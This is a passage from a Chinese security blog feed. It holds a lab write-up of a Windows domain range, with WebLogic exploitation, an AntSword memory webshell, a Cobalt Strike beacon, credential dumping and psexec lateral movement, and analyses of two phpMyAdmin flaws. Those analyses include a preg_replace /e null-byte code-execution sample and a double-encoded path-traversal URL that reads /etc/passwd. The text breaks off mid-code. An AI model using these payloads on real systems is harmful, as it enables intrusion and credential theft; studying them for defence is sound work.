</span></span><span style="display:flex;"><span>Network Distance: <span style="color:#ae81ff">1</span> hop
</span></span><span style="display:flex;"><span>Service Info: OSs: Windows, Windows Server <span style="color:#ae81ff">2008</span> R2 - 2012; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>| smb2-time:
</span></span><span style="display:flex;"><span>|   date: 2024-09-28T23:42:27
</span></span><span style="display:flex;"><span>|_  start_date: 2024-09-28T03:48:57
</span></span><span style="display:flex;"><span>|_nbstat: NetBIOS name: WEB, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 00:0c:29:42:36:4c <span style="color:#f92672">(</span>VMware<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| smb-security-mode:
</span></span><span style="display:flex;"><span>|   account_used: &lt;blank&gt;
</span></span><span style="display:flex;"><span>|   authentication_level: user
</span></span><span style="display:flex;"><span>|   challenge_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled <span style="color:#f92672">(</span>dangerous, but default<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_clock-skew: mean: -53m19s, deviation: 2h39m59s, median: 0s
</span></span><span style="display:flex;"><span>| smb-os-discovery:
</span></span><span style="display:flex;"><span>|   OS: Windows Server <span style="color:#ae81ff">2008</span> R2 Standard <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>Windows Server <span style="color:#ae81ff">2008</span> R2 Standard 6.1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
</span></span><span style="display:flex;"><span>|   Computer name: WEB
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: WEB<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>|   Domain name: de1ay.com
</span></span><span style="display:flex;"><span>|   Forest name: de1ay.com
</span></span><span style="display:flex;"><span>|   FQDN: WEB.de1ay.com
</span></span><span style="display:flex;"><span>|_  System time: 2024-09-29T07:42:27+08:00
</span></span><span style="display:flex;"><span>| smb2-security-mode:
</span></span><span style="display:flex;"><span>|   2:1:0:
</span></span><span style="display:flex;"><span>|_    Message signing enabled but not required
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE
</span></span><span style="display:flex;"><span>HOP RTT     ADDRESS
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span>   0.57 ms 192.168.3.80
</span></span></code></pre></div><p>这里的web端口是7001的weblogic</p>
<h3 id="weblogic_1036_利用">weblogic_10.3.6_利用</h3>
<p>最后一个复现的漏洞的影响版本里面就有这个10.3.6,先测测这个(好吧,vulhub上weblogic的那几个漏洞基本上都有10.3.6.0)
<a href="weblogic-wls-wsat-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e.md">weblogic-wls-wsat-反序列化漏洞</a>
这个检测脚本卡主了,上一键利用工具了</p>
<p>CVE-2016-0638
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_12.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_13.png" alt="" /></figure>
</p>
<h3 id="antsword_内存马">antsword_内存马</h3>
<p>使用这个工具里面的内存马,上传antsword_Custom_Filter内存马</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_14.png" alt="|650" /><figcaption>|650</figcaption></figure>
</p>
<p>进去之后查看ip,是存在内网环境的
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_15.png" alt="" /></figure>
</p>
<h2 id="内网">内网</h2>
<p>这里还有一台PC机器是暴露在外网环境中的,但是已经拿了web机器的shell,就先进内网</p>
<h3 id="信息收集-1">信息收集</h3>
<p>局域网机器
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_16.png" alt="" /></figure>
<p>本机信息</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_17.png" alt="" /></figure>
<p>无法查看域用户</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_18.png" alt="" /></figure>
<p>本地管理员组,这里面有域用户DE1AY\Domain Admins这个域用户</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_19.png" alt="" /></figure>
<p>域信息</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_20.png" alt="" /></figure>
</p>
<h3 id="cs上线">CS上线</h3>
<p>添加监听器</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>name：为监听器名字，可任意
</span></span><span style="display:flex;"><span>payload：payload类型
</span></span><span style="display:flex;"><span>HTTP Hosts: shell反弹的主机，也就是我们kali的ip（如果是阿里云，则填阿里云主机的公网ip）
</span></span><span style="display:flex;"><span>HTTP Hosts(Stager): Stager的马请求下载payload的地址（一般也是和上面的ip填一样）
</span></span><span style="display:flex;"><span>HTTP Port(C2): C2监听的端口
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_21.png" alt="" /></figure>
<p>创建payload</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_22.png" alt="" /></figure>
<p>上传马子,将shell传到cs上</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_23.png" alt="" /></figure>
</p>
<p>获取明文凭据
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_24.png" alt="" /></figure>
</p>
<p>rdp也能连上去
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_25.png" alt="" /></figure>
<p>噢,简称和完整域名的区别</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_26.png" alt="" /></figure>
</p>
<h3 id="cs后渗透_横向移动">CS后渗透_横向移动</h3>
<p>上线cs之后,使用cs上面的横向移动模块中psexec就能解决掉剩下的两台机器了</p>
<p>域控
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_27.png" alt="" /></figure>
</p>
<p>PC机器
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba2_win%e5%9f%9f_image_28.png" alt="" /></figure>
</p>
<h1 id="links">links</h1>
<p><a href="https://xz.aliyun.com/t/11676" target="_blank" rel="noopener nofollow noreferrer" >https://xz.aliyun.com/t/11676</a></p>
<p><a href="https://www.viewofthai.link/2022/09/11/" target="_blank" rel="noopener nofollow noreferrer" >https://www.viewofthai.link/2022/09/11/</a>红日att＆ck系列靶场（二）/</p>
<p><a href="https://github.com/Aedoo/CVE-2018-2628-MultiThreading" target="_blank" rel="noopener nofollow noreferrer" >CVE-2018-2628检测脚本</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[phpMyAdmin-4.0.x—4.6.2_远程代码执行漏洞]]></title><link href="https://l1uyun.one/posts/phpmyadmin-4.0.x4.6.2_%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/phpmyadmin-4.0.x4.6.2_%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/</id>
            
            <published>2024-09-18T16:59:09+08:00</published>
            <updated>2025-09-29T20:52:29+08:00</updated>
            
            
            <content type="html"><![CDATA[<h2 id="漏洞简介">漏洞简介</h2>
<p>phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。</p>
<p>在其查找并替换字符串功能中，将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前，preg_replace的第一个参数可以利用\0进行截断，并将正则模式修改为e。众所周知，e模式的正则支持执行代码，此时将可构造一个任意代码执行漏洞。</p>
<h2 id="影响版本">影响版本</h2>
<p>// 漏洞涉及的组件,版本</p>
<p>phpmyadmin
4.0.x-4.0.10.16
4.4.x-4.4.15.7
4.6.x-4.6.3（实际上由于该版本要求PHP5.5+，所以无法复现本漏洞）</p>
<p>Php版本： 4.3.0 ~5.4.6
Php 5.5 版本以上的将 preg_replace 的 /e修饰符给废弃掉了</p>
<h2 id="利用条件">利用条件</h2>
<p>// 利用这个漏洞的前置要求,例如进后台啥的</p>
<p>这个漏洞需要登录，且要能够写入数据。</p>
<h2 id="前置知识">前置知识</h2>
<h3 id="preg_replace的e参数">preg_replace的/e参数</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">mixed</span> <span style="color:#a6e22e">preg_replace</span> ( <span style="color:#a6e22e">mixed</span> <span style="color:#a6e22e">pattern</span>, <span style="color:#a6e22e">mixed</span> <span style="color:#a6e22e">replacement</span>, <span style="color:#a6e22e">mixed</span> <span style="color:#a6e22e">subject</span>,[<span style="color:#a6e22e">int</span> <span style="color:#a6e22e">limit</span>],[<span style="color:#a6e22e">int</span> <span style="color:#a6e22e">count</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$pattern<span style="color:#f92672">:</span> <span style="color:#a6e22e">要搜索的模式，可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用，而是使用</span> <span style="color:#75715e"># 或者 ~
</span></span></span><span style="display:flex;"><span>$replacement<span style="color:#f92672">:</span> <span style="color:#a6e22e">用于替换的字符串或字符串数组。</span>
</span></span><span style="display:flex;"><span>$subject<span style="color:#f92672">:</span> <span style="color:#a6e22e">要搜索替换的目标字符串或字符串数组。</span>
</span></span><span style="display:flex;"><span>$limit<span style="color:#f92672">:</span> <span style="color:#a6e22e">可选，对于每个模式用于每个</span> <span style="color:#a6e22e">subject</span> <span style="color:#a6e22e">字符串的最大可替换次数。默认是</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#a6e22e">（无限制）。</span>
</span></span><span style="display:flex;"><span>$count<span style="color:#f92672">:</span> <span style="color:#a6e22e">可选，为替换执行的次数。</span>
</span></span></code></pre></div><p>/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
例如,对于下面这个代码,访问h=phpinfo(),就能触发phpinfo页面</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">preg_replace</span>(<span style="color:#e6db74">&#34;/test/e&#34;</span>,<span style="color:#e6db74">&#39;phpinfo()&#39;</span>,<span style="color:#e6db74">&#34;jutst test&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_1.png" alt="" /></figure>
</p>
<h2 id="漏洞复现">漏洞复现</h2>
<p>//手测,脚本</p>
<p>使用的vulhub的环境,使用docker启动就行</p>
<p>这里是直接使用了exploit-db中的poc
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_2.png" alt="" /></figure>
</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p>// 分析原理,调用链</p>
<p>参照网上其他人的分析文章,
首先找到preg_replace()函数的调用位置,
发现是在 /libraries/TableSearch.class.php 文件中的_getRegexReplaceRows方法里面</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_3.png" alt="" /></figure>
<p>接下来就是依次寻找find,replaceWith和row[0]这三个参数的来源</p></p>
<p>可以看到find,replaceWith是直接从getReplacePreview中传递过去的
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_4.png" alt="" /></figure>
<p>继续往上查找getReplacePreview方法,发现是在tbl_find_replace.php中被调用的,这里的可以看到find,replaceWith都是直接从POST中传递进来的</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_5.png" alt="" /></figure>
</p>
<p>解决了前面两个参数,接下来就是看第三个参数是怎么来的,毕竟这个/e参数要成功执行代码,需要正则的模式被匹配到.</p>
<p>回到_getRegexReplaceRows方法,可以看到row[0]应该是sql语句查询结果的第一列数据
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_6.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_7.png" alt="" /></figure>
<p>sql语句的内容如下</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> 
</span></span><span style="display:flex;"><span>    PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span><span style="color:#66d9ef">column</span>),   <span style="color:#75715e">-- 获取列名并进行反引号处理
</span></span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">1</span>,                              <span style="color:#75715e">-- 添加一个额外的列，该列用于存储替换后的值
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">COUNT</span>(<span style="color:#f92672">*</span>)                        <span style="color:#75715e">-- 计算匹配的行数
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> 
</span></span><span style="display:flex;"><span>    PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span>this<span style="color:#f92672">-&gt;</span>_db)   <span style="color:#75715e">-- 数据库名，反引号处理
</span></span></span><span style="display:flex;"><span>    .PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span>this<span style="color:#f92672">-&gt;</span>_table) <span style="color:#75715e">-- 表名，反引号处理
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> 
</span></span><span style="display:flex;"><span>    PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span><span style="color:#66d9ef">column</span>)       <span style="color:#75715e">-- 目标列
</span></span></span><span style="display:flex;"><span>    RLIKE <span style="color:#e6db74">&#39;&#34; . PMA_Util::sqlAddSlashes($find) . &#34;&#39;</span>  <span style="color:#75715e">-- 使用正则匹配 $find，确保字符转义
</span></span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">COLLATE</span> <span style="color:#e6db74">&#34; . $charSet . &#34;</span>_bin      <span style="color:#75715e">-- 使用二进制排序规则进行区分大小写的比较
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">GROUP</span> <span style="color:#66d9ef">BY</span> 
</span></span><span style="display:flex;"><span>    PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span><span style="color:#66d9ef">column</span>)       <span style="color:#75715e">-- 按目标列分组
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ORDER</span> <span style="color:#66d9ef">BY</span> 
</span></span><span style="display:flex;"><span>    PMA_Util::backquote(<span style="color:#960050;background-color:#1e0010">$</span><span style="color:#66d9ef">column</span>) <span style="color:#66d9ef">ASC</span>   <span style="color:#75715e">-- 按目标列升序排列
</span></span></span></code></pre></div><p>这里面我们需要能够控制column,_db,_table,其中column是来自columnIndex这个参数,这个也是POST传进来的</p>
<p>剩下两个参数是PMA_TableSearch类的属性,是在构造函数里面被定义的
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_8.png" alt="" /></figure>
<p>继续回溯,tbl_find_replace.php中创建了这个类,并传入了$db, $table这两个参数</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_9.png" alt="" /></figure>
<p>这两个参数是包含的libraries/common.inc.php文件,这两个参数可以通过REQUEST方法来接收变量并将其设置为全局变量。</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_10.png" alt="" /></figure>
</p>
<p>结合上面的分析,看看exploit-db给的poc</p>
<p>使用poc,然后用burpsuite抓了一下包,脚本先是进行了登录
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_11.png" alt="" /></figure>
<p>前面两个数据包好像都是在获取一些Cookie信息,第一个是在登录获取token值,第二个包是在访问主页,获取了另外的一些值</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_12.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_13.png" alt="" /></figure>
<p>第三个包访问了/import.php,这个文件是PhpMyAdmin中处理SQL导入的页面。这个页面允许管理员导入SQL查询语句，并在数据库中执行。</p></p>
<p>创建了一个数据库test,数据表prgpwn,以及插入了数据(<code>0/e\0</code>)  即0/e和一个null byte
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_14.png" alt="|900" /><figcaption>|900</figcaption></figure>
<p>最后一个包,访问了漏洞所在的php文件,/tbl_find_replace.php</p></p>
<p>传入了db,table,find,replaceWith这些参数,find和replaceWith直接被拼接到了preg_replace的前面两个参数中,而POST的数据中的db,table,columnIndex指定了sql查询得到的结果,这个结果被拼接到了preg_replace的第三个参数,从而触发了preg_replace的/e参数的执行代码功能.
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpMyAdmin_4.0.x%e2%80%944.6.2_%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e_image_15.png" alt="" /></figure>
<p>find参数中传进去的%00也就是空字符,将拼接之后的/给截断了</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">echo</span> <span style="color:#a6e22e">preg_replace</span>(<span style="color:#e6db74">&#34;/0/e</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">/&#34;</span>,<span style="color:#e6db74">&#34;system(&#39;id&#39;)&#34;</span>,<span style="color:#e6db74">&#34;0/e</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><h2 id="漏洞修复">漏洞修复</h2>
<p>// 升级版本,打补丁,黑名单,白名单&hellip;..</p>
<p>及时更新版本。</p>
<h2 id="参考资料">参考资料</h2>
<p><a href="https://www.exploit-db.com/exploits/40185" target="_blank" rel="noopener nofollow noreferrer" >phpMyAdmin 4.6.2 - (Authenticated) Remote Code Execution - PHP webapps Exploit</a></p>
<p><a href="https://www.cnblogs.com/angly/p/3157736.html" target="_blank" rel="noopener nofollow noreferrer" >PHP安全之慎用preg_replace的/e修饰符 - y&rsquo;ang - 博客园</a></p>
<p><a href="https://xz.aliyun.com/t/7836" target="_blank" rel="noopener nofollow noreferrer" >CVE-2016-5734 phpmyadmin后台代码执行漏洞复现</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[phpmyadmin-4.8.1远程文件包含]]></title><link href="https://l1uyun.one/posts/phpmyadmin-4.8.1%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/phpmyadmin-4.8.1%E8%BF%9C%E7%A8%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/</id>
            
            <published>2024-09-18T15:33:13+08:00</published>
            <updated>2025-09-29T20:52:25+08:00</updated>
            
            
            <content type="html"><![CDATA[<h2 id="漏洞简介">漏洞简介</h2>
<p>phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑，通过二次编码即可绕过检查，造成远程文件包含漏洞。</p>
<p>这个漏洞刚刚打演练的时候用过,分析一下原理</p>
<h2 id="影响版本">影响版本</h2>
<p>phpmyadmin 4.8.0 &amp; 4.8.1</p>
<h2 id="前提条件">前提条件</h2>
<p>能够进入后台,也就是要有数据库的凭据</p>
<h2 id="前置知识">前置知识</h2>
<h3 id="php文件包含">php文件包含</h3>
<p>服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。
文件包含相关函数</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>require<span style="color:#f92672">()</span><span style="color:#75715e">#函数出现错误的时候，会直接报错并退出程序的执行</span>
</span></span><span style="display:flex;"><span>require_once<span style="color:#f92672">()</span><span style="color:#75715e">#只包含一次</span>
</span></span><span style="display:flex;"><span>include<span style="color:#f92672">()</span><span style="color:#75715e">#在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行</span>
</span></span><span style="display:flex;"><span>include_once<span style="color:#f92672">()</span><span style="color:#75715e">#只包含一次</span>
</span></span></code></pre></div><p>文件包含分为本地文件包含和远程文件包含</p>
<p>远程文件包含利用需要下面这两个配置文件都开启
当allow_url_include和allow_url_fopen都开启时，可以通过利用远程url或者php://协议直接getshell，即远程文件包含，
但allow_url_include在php5.2之后默认为off，利用机会有限。
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpmyadmin-4.8.1%e8%bf%9c%e7%a8%8b%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab_image_1.png" alt="" /></figure>
<p>当allow_url_include and allow_url_fopen均为off 在window主机环境下仍然可以进行远程文件执行，用445端口SMB协议进行远程加载。</p></p>
<h2 id="漏洞复现">漏洞复现</h2>
<p>直接访问下面的路径,能输出passwd内容那就是有了</p>
<p><code>/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd</code>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/phpmyadmin-4.8.1%e8%bf%9c%e7%a8%8b%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab_image_2.png" alt="" /></figure>
</p>
<p>利用方式的话,就是先在sql栏执行一下select命令,然后去包含session文件,就能获得webshell,进而拿shell</p>
<p>可以执行一下<code>SELECT &lt;?=phpinfo()?&gt;;</code>，然后查看自己的sessionid（cookie中phpMyAdmin的值），然后包含session文件即可：</p>
<p>对应的sessions文件是 /tmp/sess_sessionid
<a href="phpmyadmin-4_8_1%e8%bf%9c%e7%a8%8b%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e%ef%bc%88CVE-2018-12613%ef%bc%89.pdf">phpmyadmin-4_8_1远程文件包含漏洞（CVE-2018-12613）</a></p>
<h2 id="漏洞分析">漏洞分析</h2>
<p>简单来说就是phpmyadmin对用户传入的参数直接进行了包含,并且黑名单的检验不严格,可以绕过,从而导致了LFI</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">index</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// If we have a valid target, let&#39;s load that script instead
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span> <span style="color:#66d9ef">empty</span>($_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">is_string</span>($_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>])
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;&amp;</span> <span style="color:#f92672">!</span> <span style="color:#a6e22e">preg_match</span>(<span style="color:#e6db74">&#39;/^index/&#39;</span>, $_REQUEST[<span style="color:#e6db74">&#39;target&#39;</span>])
